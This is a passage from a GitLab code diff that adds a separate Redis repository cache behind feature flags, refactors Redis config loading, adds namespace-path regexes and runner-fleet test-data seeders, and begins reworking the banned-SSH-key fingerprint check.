+ value = send_command(primary_store, command_name, *args, **kwargs, &block)
rescue StandardError => e
log_error(e, command_name,
multi_store_error_message: FAILED_TO_READ_ERROR_MESSAGE)
end
- value || fallback_read(command_name, *args, &block)
+ return value if cache_hit?(command_name, value)
+
+ fallback_read(command_name, *args, **kwargs, &block)
+ end
+
+ def cache_hit?(command, value)
+ validator = READ_CACHE_HIT_VALIDATOR[command] || ENUMERATOR_CACHE_HIT_VALIDATOR[command]
+ return false unless validator
+
+ !value.nil? && validator.call(value)
end
- def fallback_read(command_name, *args, &block)
- value = send_command(secondary_store, command_name, *args, &block)
+ def fallback_read(command_name, *args, **kwargs, &block)
+ value = send_command(secondary_store, command_name, *args, **kwargs, &block)
if value
log_error(ReadFromPrimaryError.new, command_name)
diff --git a/lib/gitlab/redis/repository_cache.rb b/lib/gitlab/redis/repository_cache.rb
new file mode 100644
index 00000000000..8bfbfcfea60
--- /dev/null
+++ b/lib/gitlab/redis/repository_cache.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Redis
+ class RepositoryCache < ::Gitlab::Redis::Wrapper
+ class << self
+ # The data we store on RepositoryCache used to be stored on Cache.
+ def config_fallback
+ Cache
+ end
+
+ def cache_store
+ @cache_store ||= ActiveSupport::Cache::RedisCacheStore.new(
+ redis: pool,
+ compress: Gitlab::Utils.to_boolean(ENV.fetch('ENABLE_REDIS_CACHE_COMPRESSION', '1')),
+ namespace: Cache::CACHE_NAMESPACE,
+ # Cache should not grow forever
+ expires_in: ENV.fetch('GITLAB_RAILS_CACHE_DEFAULT_TTL_SECONDS', 8.hours).to_i
+ )
+ end
+
+ private
+
+ def redis
+ primary_store = ::Redis.new(params)
+ secondary_store = ::Redis.new(config_fallback.params)
+
+ MultiStore.new(primary_store, secondary_store, store_name)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/redis/wrapper.rb b/lib/gitlab/redis/wrapper.rb
index 0e5389dc995..e5e1e1d4165 100644
--- a/lib/gitlab/redis/wrapper.rb
+++ b/lib/gitlab/redis/wrapper.rb
@@ -41,21 +41,6 @@ module Gitlab
size
end
- def _raw_config
- return @_raw_config if defined?(@_raw_config)
-
- @_raw_config =
- begin
- if filename = config_file_name
- ERB.new(File.read(filename)).result.freeze
- else
- false
- end
- rescue Errno::ENOENT
- false
- end
- end
-
def config_file_path(filename)
path = File.join(rails_root, 'config', filename)
return path if File.file?(path)
@@ -67,10 +52,6 @@ module Gitlab
File.expand_path('../../..', __dir__)
end
- def config_fallback?
- config_file_name == config_fallback&.config_file_name
- end
-
def config_file_name
[
# Instance specific config sources:
@@ -91,6 +72,10 @@ module Gitlab
].compact.first
end
+ def redis_yml_path
+ File.join(rails_root, 'config/redis.yml')
+ end
+
def store_name
name.demodulize
end
@@ -212,16 +197,20 @@ module Gitlab
end
def fetch_config
- return false unless self.class._raw_config
-
- yaml = YAML.safe_load(self.class._raw_config, aliases: true)
+ redis_yml = read_yaml(self.class.redis_yml_path).fetch(@rails_env, {})
+ instance_config_yml = read_yaml(self.class.config_file_name)[@rails_env]
+
+ [
+ redis_yml[self.class.store_name.underscore],
+ instance_config_yml,
+ self.class.config_fallback && redis_yml[self.class.config_fallback.store_name.underscore]
+ ].compact.first
+ end
- # If the file has content but it's invalid YAML, `load` returns false
- if yaml
- yaml.fetch(@rails_env, false)
- else
- false
- end
+ def read_yaml(path)
+ YAML.safe_load(ERB.new(File.read(path.to_s)).result, aliases: true) || {}
+ rescue Errno::ENOENT
+ {}
end
end
end
diff --git a/lib/gitlab/regex.rb b/lib/gitlab/regex.rb
index 4f76cce2c7d..828cf65fb82 100644
--- a/lib/gitlab/regex.rb
+++ b/lib/gitlab/regex.rb
@@ -251,6 +251,26 @@ module Gitlab
extend self
extend Packages
+ def bulk_import_namespace_path_regex
+ # This regexp validates the string conforms to rules for a namespace path:
+ # i.e does not start with a non-alphanueric character except for periods or underscores,
+ # contains only alphanumeric characters, forward slashes, periods, and underscores,
+ # does not end with a period or forward slash, and has a relative path structure
+ # with no http protocol chars or leading or trailing forward slashes
+ # eg 'source/full/path' or 'destination_namespace' not 'https://example.com/source/full/path'
+ @bulk_import_namespace_path_regex ||= %r/^([.]?)[^\W](\/?[.]?[0-9a-z][-_]*)+$/i
+ end
+
+ def group_path_regex
+ # This regexp validates the string conforms to rules for a group slug:
+ # i.e does not start with a non-alphanueric character except for periods or underscores,
+ # contains only alphanumeric characters, periods, and underscores,
+ # does not end with a period or forward slash, and has a relative path structure
+ # with no http protocol chars or leading or trailing forward slashes
+ # eg 'source/full/path' or 'destination_namespace' not 'https://example.com/source/full/path'
+ @group_path_regex ||= %r/^[.]?[^\W]([.]?[0-9a-z][-_]*)+$/i
+ end
+
def project_name_regex
# The character range \p{Alnum} overlaps with \u{00A9}-\u{1f9ff}
# hence the Ruby warning.
diff --git a/lib/gitlab/repository_cache.rb b/lib/gitlab/repository_cache.rb
index dc8b2467f72..8de2c2fe772 100644
--- a/lib/gitlab/repository_cache.rb
+++ b/lib/gitlab/repository_cache.rb
@@ -5,7 +5,7 @@ module Gitlab
class RepositoryCache
attr_reader :repository, :namespace, :backend
- def initialize(repository, extra_namespace: nil, backend: Rails.cache)
+ def initialize(repository, extra_namespace: nil, backend: self.class.store)
@repository = repository
@namespace = "#{repository.full_path}"
@namespace += ":#{repository.project.id}" if repository.project
@@ -48,5 +48,14 @@ module Gitlab
value
end
+
+ def self.store
+ if Feature.enabled?(:use_primary_and_secondary_stores_for_repository_cache) ||
+ Feature.enabled?(:use_primary_store_as_default_for_repository_cache)
+ Gitlab::Redis::RepositoryCache.cache_store
+ else
+ Rails.cache
+ end
+ end
end
end
diff --git a/lib/gitlab/repository_hash_cache.rb b/lib/gitlab/repository_hash_cache.rb
index 1ecdf506208..ea90a341b1e 100644
--- a/lib/gitlab/repository_hash_cache.rb
+++ b/lib/gitlab/repository_hash_cache.rb
@@ -139,8 +139,17 @@ module Gitlab
private
+ def cache
+ if Feature.enabled?(:use_primary_and_secondary_stores_for_repository_cache) ||
+ Feature.enabled?(:use_primary_store_as_default_for_repository_cache)
+ Gitlab::Redis::RepositoryCache
+ else
+ Gitlab::Redis::Cache
+ end
+ end
+
def with(&blk)
- Gitlab::Redis::Cache.with(&blk) # rubocop:disable CodeReuse/ActiveRecord
+ cache.with(&blk) # rubocop:disable CodeReuse/ActiveRecord
end
# Take a hash and convert both keys and values to strings, for insertion into Redis.
diff --git a/lib/gitlab/repository_set_cache.rb b/lib/gitlab/repository_set_cache.rb
index baf48fd0dc1..c67ca92af40 100644
--- a/lib/gitlab/repository_set_cache.rb
+++ b/lib/gitlab/repository_set_cache.rb
@@ -64,5 +64,20 @@ module Gitlab
redis.sscan_each(full_key, match: pattern)
end
end
+
+ private
+
+ def cache
+ if Feature.enabled?(:use_primary_and_secondary_stores_for_repository_cache) ||
+ Feature.enabled?(:use_primary_store_as_default_for_repository_cache)
+ Gitlab::Redis::RepositoryCache
+ else
+ Gitlab::Redis::Cache
+ end
+ end
+
+ def with(&blk)
+ cache.with(&blk) # rubocop:disable CodeReuse/ActiveRecord
+ end
end
end
diff --git a/lib/gitlab/seeders/ci/runner/runner_fleet_pipeline_seeder.rb b/lib/gitlab/seeders/ci/runner/runner_fleet_pipeline_seeder.rb
new file mode 100644
index 00000000000..c77db02061c
--- /dev/null
+++ b/lib/gitlab/seeders/ci/runner/runner_fleet_pipeline_seeder.rb
@@ -0,0 +1,202 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Seeders
+ module Ci
+ module Runner
+ class RunnerFleetPipelineSeeder
+ DEFAULT_JOB_COUNT = 400
+
+ MAX_QUEUE_TIME_IN_SECONDS = 5.minutes.to_i
+ PIPELINE_CREATION_RANGE_MIN_IN_SECONDS = 2.hours.to_i
+ PIPELINE_CREATION_RANGE_MAX_IN_SECONDS = 30.days.to_i
+ PIPELINE_START_RANGE_MAX_IN_SECONDS = 5.minutes.to_i
+ PIPELINE_FINISH_RANGE_MAX_IN_SECONDS = 1.hour.to_i
+
+ PROJECT_JOB_DISTRIBUTION = [
+ { allocation: 70, job_count_default: 10 },
+ { allocation: 15, job_count_default: 10 },
+ { allocation: 15, job_count_default: 100 }
+ # remaining jobs on 4th project
+ ].freeze
+
+ attr_reader :logger
+
+ # Initializes the class
+ #
+ # @param [Gitlab::Logger] logger
+ # @param [Integer] job_count the number of jobs to create across the runners
+ # @param [Array<Hash>] projects_to_runners list of project IDs to respective runner IDs
+ def initialize(logger = Gitlab::AppLogger, projects_to_runners:, job_count:)
+ @logger = logger
+ @projects_to_runners = projects_to_runners.map do |v|
+ { project_id: v[:project_id], runners: ::Ci::Runner.id_in(v[:runner_ids]).to_a }
+ end
+ @job_count = job_count || DEFAULT_JOB_COUNT
+ end
+
+ def seed
+ logger.info(message: 'Starting seed of runner fleet pipelines', job_count: @job_count)
+
+ remaining_job_count = @job_count
+ PROJECT_JOB_DISTRIBUTION.each_with_index do |d, index|
+ remaining_job_count = create_pipelines_and_distribute_jobs(remaining_job_count, project_index: index, **d)
+ end
+
+ while remaining_job_count > 0
+ remaining_job_count -= create_pipeline(
+ job_count: remaining_job_count,
+ **@projects_to_runners[PROJECT_JOB_DISTRIBUTION.length],
+ status: random_pipeline_status
+ )
+ end
+
+ logger.info(
+ message: 'Completed seeding of runner fleet',
+ job_count: @job_count - remaining_job_count
+ )
+
+ nil
+ end
+
+ private
+
+ def create_pipelines_and_distribute_jobs(remaining_job_count, project_index:, allocation:, job_count_default:)
+ max_jobs_per_pipeline = [1, @job_count / 3].max
+
+ create_pipelines(
+ remaining_job_count,
+ **@projects_to_runners[project_index],
+ total_jobs: @job_count * allocation / 100,
+ pipeline_job_count: job_count_default.clamp(1, max_jobs_per_pipeline)
+ )
+ end
+
+ def create_pipelines(remaining_job_count, project_id:, runners:, total_jobs:, pipeline_job_count:)
+ pipeline_job_count = remaining_job_count if pipeline_job_count > remaining_job_count
+ return 0 if pipeline_job_count == 0
+
+ pipeline_count = [1, total_jobs / pipeline_job_count].max
+
+ (1..pipeline_count).each do
+ remaining_job_count -= create_pipeline(
+ job_count: pipeline_job_count,
+ project_id: project_id,
+ runners: runners,
+ status: random_pipeline_status
+ )
+ end
+
+ remaining_job_count
+ end
+
+ def create_pipeline(job_count:, runners:, project_id:, status: 'success', **attrs)
+ logger.info(message: 'Creating pipeline with builds on project',
+ status: status, job_count: job_count, project_id: project_id, **attrs)
+
+ raise ArgumentError('runners') unless runners
+ raise ArgumentError('project_id') unless project_id
+
+ sha = '00000000'
+ if ::Ci::HasStatus::ALIVE_STATUSES.include?(status) || ::Ci::HasStatus::COMPLETED_STATUSES.include?(status)
+ created_at = Random.rand(PIPELINE_CREATION_RANGE_MIN_IN_SECONDS..PIPELINE_CREATION_RANGE_MAX_IN_SECONDS)
+ .seconds.ago
+
+ if ::Ci::HasStatus::STARTED_STATUSES.include?(status) ||
+ ::Ci::HasStatus::COMPLETED_STATUSES.include?(status)
+ started_at = created_at + Random.rand(1..PIPELINE_START_RANGE_MAX_IN_SECONDS)
+ if ::Ci::HasStatus::COMPLETED_STATUSES.include?(status)
+ finished_at = started_at + Random.rand(1..PIPELINE_FINISH_RANGE_MAX_IN_SECONDS)
+ end
+ end
+ end
+
+ pipeline = ::Ci::Pipeline.new(
+ project_id: project_id,
+ ref: 'main',
+ sha: sha,
+ source: 'api',
+ status: status,
+ created_at: created_at,
+ started_at: started_at,
+ finished_at: finished_at,
+ **attrs
+ )
+ pipeline.ensure_project_iid! # allocate an internal_id outside of pipeline creation transaction
+ pipeline.save!
+
+ if created_at.present?
+ (1..job_count).each do |index|
+ create_build(pipeline, runners.sample, job_status(pipeline.status, index, job_count), index)
+ end
+ end
+
+ job_count
+ end
+
+ def create_build(pipeline, runner, job_status, index)
+ started_at = pipeline.started_at
+ finished_at = pipeline.finished_at
+
+ max_job_duration = [MAX_QUEUE_TIME_IN_SECONDS, 5, 2].sample
+ max_job_duration = (finished_at - started_at) if finished_at && max_job_duration > finished_at - started_at
+
+ job_created_at = pipeline.created_at
+ job_started_at = job_created_at + Random.rand(1..max_job_duration) if started_at
+ if finished_at
+ job_finished_at = Random.rand(job_started_at..finished_at)
+ elsif job_status == 'running'
+ job_finished_at = job_started_at + Random.rand(1 * 60..PIPELINE_FINISH_RANGE_MAX_IN_SECONDS)
+ end
+
+ # Do not use the first 2 runner tags ('runner-fleet', "#{registration_prefix}runner").
+ # See Gitlab::Seeders::Ci::Runner::RunnerFleetSeeder#additional_runner_args
+ tags = runner.tags.offset(2).sample(Random.rand(1..5)) # rubocop: disable CodeReuse/ActiveRecord
+
+ build_attrs = {
+ name: "Fake job #{index}",
+ scheduling_type: 'dag',
+ ref: 'main',
+ status: job_status,
+ pipeline_id: pipeline.id,
+ runner_id: runner.id,
+ project_id: pipeline.project_id,
+ tag_list: tags,
+ created_at: job_created_at,
+ queued_at: job_created_at,
+ started_at: job_started_at,
+ finished_at: job_finished_at
+ }
+ logger.info(message: 'Creating build', **build_attrs)
+
+ ::Ci::Build.new(importing: true, **build_attrs).tap(&:save!)
+ end
+
+ def random_pipeline_status
+ if Random.rand(1..4) == 4
+ %w[created pending canceled running].sample
+ elsif Random.rand(1..3) == 1
+ 'success'
+ else
+ 'failed'
+ end
+ end
+
+ def job_status(pipeline_status, job_index, job_count)
+ return pipeline_status if %w[created pending success].include?(pipeline_status)
+
+ # Ensure that a failed/canceled pipeline has at least 1 failed/canceled job
+ if job_index == job_count && ::Ci::HasStatus::PASSED_WITH_WARNINGS_STATUSES.include?(pipeline_status)
+ return pipeline_status
+ end
+
+ possible_statuses = %w[failed success]
+ possible_statuses << pipeline_status if %w[canceled running].include?(pipeline_status)
+
+ possible_statuses.sample
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/seeders/ci/runner/runner_fleet_seeder.rb b/lib/gitlab/seeders/ci/runner/runner_fleet_seeder.rb
new file mode 100644
index 00000000000..082d267442c
--- /dev/null
+++ b/lib/gitlab/seeders/ci/runner/runner_fleet_seeder.rb
@@ -0,0 +1,246 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Seeders
+ module Ci
+ module Runner
+ class RunnerFleetSeeder
+ DEFAULT_USERNAME = 'root'
+ DEFAULT_PREFIX = 'rf-'
+ DEFAULT_RUNNER_COUNT = 40
+ DEFAULT_JOB_COUNT = DEFAULT_RUNNER_COUNT * 10
+
+ TAG_LIST = %w[gitlab-org docker ruby 2gb mysql linux shared shell deploy hhvm windows build postgres ios stage android stz front back review-apps pc java scraper test kubernetes staging no-priority osx php nodejs production nvm x86_64 gcc nginx dev unity odoo node sbt amazon xamarin debian gcloud e2e clang composer npm energiency dind flake8 cordova x64 private aws solution ruby2.2 python xcode kube compute mongo runner docker-compose phpunit t-matix docker-machine win server docker-in-docker redis go dotnet win7 area51-1 testing chefdk light osx_10-11 ubuntu gulp jertis gitlab-runner frontendv2 capifony centos7 mac gradle golang docker-builder runrepeat maven centos6 msvc14 amd64 xcode_8-2 macos VS2015 mono osx_10-12 azure-contend-docker msbuild git deployer local development python2.7 eezeeit release ios_9-3 fastlane selenium integration tests review cabinet-dev vs2015 ios_10-2 latex odoo_test quantum-ci prod sqlite heavy icc html-test labs feature alugha ps appivo-server fast web ios_9-2 c# python3 home js xcode_7-3 drupal 7 arm headless php70 gce x86 msvc builder Windows bower mssql pagetest wpf ssh inmobiliabeta.com xcode_7-2 repo laravel testonly gcp online-auth powershell ila-preprod ios_10-1 lossless sharesies backbone javascript fusonic-review autoscale ci ubuntu1604 rails windows10 xcode_8-1 php56 drupal embedded readyselect xamarin.ios XCode-8.1 iOS-10.1 macOS-10.12.1 develop taggun koumoul-internal docker-build iOS angular2 deployment xcode8 lcov test-cluster priv api bundler freebsd x86-64 BOB xcode_8 nuget vinome-backend cq_check fusonic-perf django php7 dy-manager-shell DEV mongodb neadev meteor ANSIBLE ftp master exerica-build server01 exerica-test mother-of-god nodejs-app ansible Golang mpi exploragen shootr Android macos_10-12 win64 ngsrunner @docker images script-maven ayk makepkg Linux ecolint wix xcode_8-0 coverage dreamhost multi ubuntu1404 eyeka jow3an-site repository politibot qt haskellstack arch priviti backend Sisyphus gm-dev dotNet internal support rpi .net buildbot-01 quay.io BOB2 codebnb vs2013 no-reset live 192.168.100.209 failfast-ci ios_10 crm_master_builds Qt packer selenium hub ci-shell rust dyscount-ci-manager-shell kubespray vagrant deployAutomobileBuild 1md k8s behat vinome-frontend development-nanlabs build-backend libvirt build-frontend contend-server windows-x64 chimpAPI ec2-runner kubectl linux-x64 epitech portals kvm ucaya-docker scala desktop buildmacbinaries ghc buildwinbinaries sonarqube deploySteelDistributorsBuild macOS r cpran rubocop binarylane r-packages alpha SIGAC tester area51-2 customer Build qa acegames_central mTaxNativeShell c++ cloveapp-ios smallville portal root lemmy nightly buildlinuxbinaries rundeck taxonic ios_10-0 n0004 data fedora rr-test seedai_master_builds geofence_master_builds].freeze # rubocop:disable Layout/LineLength
+
+ attr_reader :logger
+
+ # Initializes the class
+ #
+ # @param [Gitlab::Logger] logger
+ # @param [Hash] options
+ # @option options [String] :username username of the user that will create the fleet
+ # @option options [String] :registration_prefix string to use as prefix in group, project, and runner names
+ # @option options [Integer] :runner_count number of runners to create across the groups and projects
+ # @return [Array<Hash>] list of project IDs to respective runner IDs
+ def initialize(logger = Gitlab::AppLogger, **options)
+ username = options[:username] || DEFAULT_USERNAME
+
+ @logger = logger
+ @user = User.find_by_username(username)
+ @registration_prefix = options[:registration_prefix] || DEFAULT_PREFIX
+ @runner_count = options[:runner_count] || DEFAULT_RUNNER_COUNT
+ @groups = {}
+ @projects = {}
+ end
+
+ # seed returns an array of hashes of projects to its assigned runners
+ def seed
+ return unless within_plan_limits?
+
+ logger.info(
+ message: 'Starting seed of runner fleet',
+ user_id: @user.id,
+ registration_prefix: @registration_prefix,
+ runner_count: @runner_count
+ )
+
+ groups_and_projects = create_groups_and_projects
+ runner_ids = create_runners(groups_and_projects)
+
+ logger.info(
+ message: 'Completed seeding of runner fleet',
+ registration_prefix: @registration_prefix,
+ groups: @groups.count,
+ projects: @projects.count,
+ runner_count: @runner_count
+ )
+
+ %i[project_1_1_1_1 project_1_1_2_1 project_2_1_1].map do |project_key|
+ { project_id: groups_and_projects[project_key].id, runner_ids: runner_ids[project_key] }
+ end
+ end
+
+ private
+
+ def within_plan_limits?
+ plan_limits = Plan.default.actual_limits
+
+ if plan_limits.ci_registered_group_runners < @runner_count
+ logger.error('The plan limits for group runners is set to ' \
+ "#{plan_limits.ci_registered_group_runners} runners. " \
+ 'You should raise the plan limits to avoid errors during runner creation')
+ return false
+ elsif plan_limits.ci_registered_project_runners < @runner_count
+ logger.error('The plan limits for project runners is set to ' \
+ "#{plan_limits.ci_registered_project_runners} runners. " \
+ 'You should raise the plan limits to avoid errors during runner creation')
+ return false
+ end
+
+ true
+ end
+
+ def create_groups_and_projects
+ root_group_1 = ensure_group(name: 'top-level group 1')
+ root_group_2 = ensure_group(name: 'top-level group 2')
+ group_1_1 = ensure_group(name: 'group 1.1', parent_id: root_group_1.id)
+ group_1_1_1 = ensure_group(name: 'group 1.1.1', parent_id: group_1_1.id)
+ group_1_1_2 = ensure_group(name: 'group 1.1.2', parent_id: group_1_1.id)
+ group_2_1 = ensure_group(name: 'group 2.1', parent_id: root_group_2.id)
+
+ {
+ root_group_1: root_group_1,
+ root_group_2: root_group_2,
+ group_1_1: group_1_1,
+ group_1_1_1: group_1_1_1,
+ group_1_1_2: group_1_1_2,
+ project_1_1_1_1: ensure_project(name: 'project 1.1.1.1', namespace_id: group_1_1_1.id),
+ project_1_1_2_1: ensure_project(name: 'project 1.1.2.1', namespace_id: group_1_1_2.id),
+ group_2_1: group_2_1,
+ project_2_1_1: ensure_project(name: 'project 2.1.1', namespace_id: group_2_1.id)
+ }
+ end
+
+ def create_runners(gp)
+ instance_runners = []
+ group_1_1_1_runners = []
+ group_2_1_runners = []
+ project_1_1_1_1_runners = []
+ project_1_1_2_1_runners = []
+ project_2_1_1_runners = []
+ instance_runners << create_runner(name: 'instance runner 1')
+ project_1_1_1_1_shared_runner_1 =
+ create_runner(name: 'project 1.1.1.1 shared runner 1', scope: gp[:project_1_1_1_1])
+ project_1_1_1_1_runners << project_1_1_1_1_shared_runner_1
+ project_1_1_2_1_runners << assign_runner(project_1_1_1_1_shared_runner_1, gp[:project_1_1_2_1])
+ project_2_1_1_runners << assign_runner(project_1_1_1_1_shared_runner_1, gp[:project_2_1_1])
+
+ (3..@runner_count).each do
+ case Random.rand(0..100)
+ when 0..30
+ runner_name = "group 1.1.1 runner #{1 + group_1_1_1_runners.count}"
+ group_1_1_1_runners << create_runner(name: runner_name, scope: gp[:group_1_1_1])
+ when 31..50
+ runner_name = "project 1.1.1.1 runner #{1 + project_1_1_1_1_runners.count}"
+ project_1_1_1_1_runners << create_runner(name: runner_name, scope: gp[:project_1_1_1_1])
+ when 51..99
+ runner_name = "project 1.1.2.1 runner #{1 + project_1_1_2_1_runners.count}"
+ project_1_1_2_1_runners << create_runner(name: runner_name, scope: gp[:project_1_1_2_1])
+ else
+ runner_name = "group 2.1 runner #{1 + group_2_1_runners.count}"
+ group_2_1_runners << create_runner(name: runner_name, scope: gp[:group_2_1])
+ end
+ end
+
+ { # use only the first 5 runners to assign CI jobs
+ project_1_1_1_1:
+ ((instance_runners + project_1_1_1_1_runners).map(&:id) + group_1_1_1_runners.map(&:id)).first(5),
+ project_1_1_2_1: (instance_runners + project_1_1_2_1_runners).map(&:id).first(5),
+ project_2_1_1:
+ ((instance_runners + project_2_1_1_runners).map(&:id) + group_2_1_runners.map(&:id)).first(5)
+ }
+ end
+
+ def ensure_group(name:, parent_id: nil, **args)
+ args[:description] ||= "Runner fleet #{name}"
+ name = generate_name(name)
+
+ group = ::Group.by_parent(parent_id).find_by_name(name)
+ group ||= create_group(name: name, path: name.tr(' ', '-'), parent_id: parent_id, **args)
+
+ register_record(group, @groups)
+ end
+
+ def generate_name(name)
+ "#{@registration_prefix}#{name}"
+ end
+
+ def create_group(**args)
+ logger.info(message: 'Creating group', **args)
+
+ ensure_success(::Groups::CreateService.new(@user, **args).execute)
+ end
+
+ def ensure_project(name:, namespace_id:, **args)
+ args[:description] ||= "Runner fleet #{name}"
+ name = generate_name(name)
+
+ project = ::Project.in_namespace(namespace_id).find_by_name(name)
+ project ||= create_project(name: name, namespace_id: namespace_id, **args)
+
+ register_record(project, @projects)
+ end
+
+ def create_project(**args)
+ logger.info(message: 'Creating project', **args)
+
+ ensure_success(::Projects::CreateService.new(@user, **args).execute)
+ end
+
+ def register_record(record, records)
+ return record if record.errors.any?
+
+ records[record.id] = record
+ end
+
+ def ensure_success(record)
+ return record unless record.errors.any?
+
+ logger.error(record.errors.full_messages.to_sentence)
+ raise RuntimeError
+ end
+
+ def create_runner(name:, scope: nil, **args)
+ name = generate_name(name)
+
+ scope_name = scope.class.name if scope
+ logger.info(message: 'Creating runner', scope: scope_name, name: name)
+
+ executor = ::Ci::Runner::EXECUTOR_NAME_TO_TYPES.keys.sample
+ args.merge!(additional_runner_args(name, executor))
+
+ runners_token = if scope.nil?
+ Gitlab::CurrentSettings.runners_registration_token
+ else
+ scope.runners_token
+ end
+
+ response = ::Ci::Runners::RegisterRunnerService.new.execute(runners_token, name: name, **args)
+ runner = response.payload[:runner]
+
+ ::Ci::Runners::ProcessRunnerVersionUpdateWorker.new.perform(args[:version])
+
+ if runner && runner.errors.empty? &&
+ Random.rand(0..100) < 70 # % of runners having contacted GitLab instance
+ runner.heartbeat(args.merge(executor: executor))
+ runner.save!
+ end
+
+ ensure_success(runner)
+ end
+
+ def additional_runner_args(name, executor)
+ base_tags = ['runner-fleet', "#{@registration_prefix}runner", executor]
+ tag_limit = ::Ci::Runner::TAG_LIST_MAX_LENGTH - base_tags.length
+
+ {
+ tag_list: base_tags + TAG_LIST.sample(Random.rand(1..tag_limit)),
+ description: "Runner fleet #{name}",
+ run_untagged: false,
+ active: Random.rand(1..3) != 1,
+ version: ::Gitlab::Ci::RunnerReleases.instance.releases.sample.to_s,
+ ip_address: '127.0.0.1'
+ }
+ end
+
+ def assign_runner(runner, project)
+ result = ::Ci::Runners::AssignRunnerService.new(runner, project, @user).execute
+ result.track_and_raise_exception
+
+ runner
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/sidekiq_config/cli_methods.rb b/lib/gitlab/sidekiq_config/cli_methods.rb
index 70798f8c3e8..c49180a6c1c 100644
--- a/lib/gitlab/sidekiq_config/cli_methods.rb
+++ b/lib/gitlab/sidekiq_config/cli_methods.rb
@@ -57,8 +57,8 @@ module Gitlab
end
def clear_memoization!
- if instance_variable_defined?('@worker_metadatas')
- remove_instance_variable('@worker_metadatas')
+ if instance_variable_defined?(:@worker_metadatas)
+ remove_instance_variable(:@worker_metadatas)
end
end
diff --git a/lib/gitlab/sidekiq_daemon/memory_killer.rb b/lib/gitlab/sidekiq_daemon/memory_killer.rb
index 4bf9fd8470a..1682d62d782 100644
--- a/lib/gitlab/sidekiq_daemon/memory_killer.rb
+++ b/lib/gitlab/sidekiq_daemon/memory_killer.rb
@@ -241,9 +241,8 @@ module Gitlab
deadline = Gitlab::Metrics::System.monotonic_time + time
- # we try to finish as early as all jobs finished
- # so we retest that in loop
- sleep(CHECK_INTERVAL_SECONDS) while enabled? && any_jobs? && Gitlab::Metrics::System.monotonic_time < deadline
+ # Sleep until thread killed or timeout reached
+ sleep(CHECK_INTERVAL_SECONDS) while enabled? && Gitlab::Metrics::System.monotonic_time < deadline
end
def signal_pgroup(signal, explanation)
@@ -289,10 +288,6 @@ module Gitlab
def pid
Process.pid
end
-
- def any_jobs?
- @sidekiq_daemon_monitor.jobs.any?
- end
end
end
end
diff --git a/lib/gitlab/sql/pattern.rb b/lib/gitlab/sql/pattern.rb
index cd5587bbaef..6563968f315 100644
--- a/lib/gitlab/sql/pattern.rb
+++ b/lib/gitlab/sql/pattern.rb
@@ -81,3 +81,6 @@ module Gitlab
end
end
end
+
+Gitlab::SQL::Pattern.prepend_mod
+Gitlab::SQL::Pattern::ClassMethods.prepend_mod_with('Gitlab::SQL::Pattern::ClassMethods')
diff --git a/lib/gitlab/ssh/commit.rb b/lib/gitlab/ssh/commit.rb
index bfeefc47f13..d9ac8c1b881 100644
--- a/lib/gitlab/ssh/commit.rb
+++ b/lib/gitlab/ssh/commit.rb
@@ -16,6 +16,8 @@ module Gitlab
commit_sha: @commit.sha,
project: @commit.project,
key_id: signature.signed_by_key&.id,
+ key_fingerprint_sha256: signature.key_fingerprint,
+ user_id: signature.signed_by_key&.user_id,
verification_status: signature.verification_status
}
end
diff --git a/lib/gitlab/ssh/signature.rb b/lib/gitlab/ssh/signature.rb
index a654d5b2ff1..763d89116f1 100644
--- a/lib/gitlab/ssh/signature.rb
+++ b/lib/gitlab/ssh/signature.rb
@@ -41,6 +41,10 @@ module Gitlab
end
end
+ def key_fingerprint
+ strong_memoize(:key_fingerprint) { signature&.public_key&.fingerprint }
+ end
+
private
def all_attributes_present?
@@ -77,10 +81,6 @@ module Gitlab
nil
end
end
-
- def key_fingerprint
- strong_memoize(:key_fingerprint) { signature&.public_key&.fingerprint }
- end
end
end
end
diff --git a/lib/gitlab/ssh_public_key.rb b/lib/gitlab/ssh_public_key.rb
index e9c8e816f18..707f7f3fc0a 100644
--- a/lib/gitlab/ssh_public_key.rb
+++ b/lib/gitlab/ssh_public_key.rb
@@ -2,6 +2,8 @@
module Gitlab
class SSHPublicKey
+ include Gitlab::Utils::StrongMemoize
+
Technology = Struct.new(:name, :key_class, :supported_sizes, :supported_algorithms)
# See https://man.openbsd.org/sshd#AUTHORIZED_KEYS_FILE_FORMAT for the list of
@@ -15,29 +17,6 @@ module Gitlab
Technology.new(:ed25519_sk, SSHData::PublicKey::SKED25519, [256], %w(sk-ssh-ed25519@openssh.com))
].freeze
- BANNED_SSH_KEY_FINGERPRINTS = [
- # https://github.com/rapid7/ssh-badkeys/tree/master/authorized
- # banned ssh rsa keys
- "SHA256:Z+q4XhSwWY7q0BIDVPR1v/S306FjGBsid7tLq/8kIxM",
- "SHA256:uy5wXyEgbRCGsk23+J6f85om7G55Cu3UIPwC7oMZhNQ",
- "SHA256:9prMbqhS4QteoFQ1ZRJDqSBLWoHXPyKB0iWR05Ghro4",
- "SHA256:1M4RzhMyWuFS/86uPY/ce2prh/dVTHW7iD2RhpquOZA",
-
- # banned ssh dsa keys
- "SHA256:/JLp6z6uGE3BPcs70RQob6QOdEWQ6nDC0xY7ejPOCc0",
- "SHA256:whDP3xjKBEettbDuecxtGsfWBST+78gb6McdB9P7jCU",
- "SHA256:MEc4HfsOlMqJ3/9QMTmrKn5Xj/yfnMITMW8EwfUfTww",
- "SHA256:aPoYT2nPIfhqv6BIlbCCpbDjirBxaDFOtPfZ2K20uWw",
- "SHA256:VtjqZ5fiaeoZ3mXOYi49Lk9aO31iT4pahKFP9JPiQPc",
-
- # other banned ssh keys
- # https://github.com/BenBE/kompromat/commit/c8d9a05ea155a1ed609c617d4516f0ac978e8559
- "SHA256:Z+q4XhSwWY7q0BIDVPR1v/S306FjGBsid7tLq/8kIxM",
-
- # https://www.ctrlu.net/vuln/0006.html
- "SHA256:2ewGtK7Dc8XpnfNKShczdc8HSgoEGpoX+MiJkfH2p5I"
- ].to_set.freeze
-
def self.technologies
if Gitlab::FIPS.enabled?
Gitlab::FIPS::SSH_KEY_TECHNOLOGIES
@@ -139,11 +118,21 @@ module Gitlab
end
def banned?
- BANNED_SSH_KEY_FINGERPRINTS.include?(fingerprint_sha256)
+ return false unless valid?
+
+ banned_ssh_keys.fetch(type.to_s, []).include?(fingerprint_sha256)
end
private
+ def banned_ssh_keys
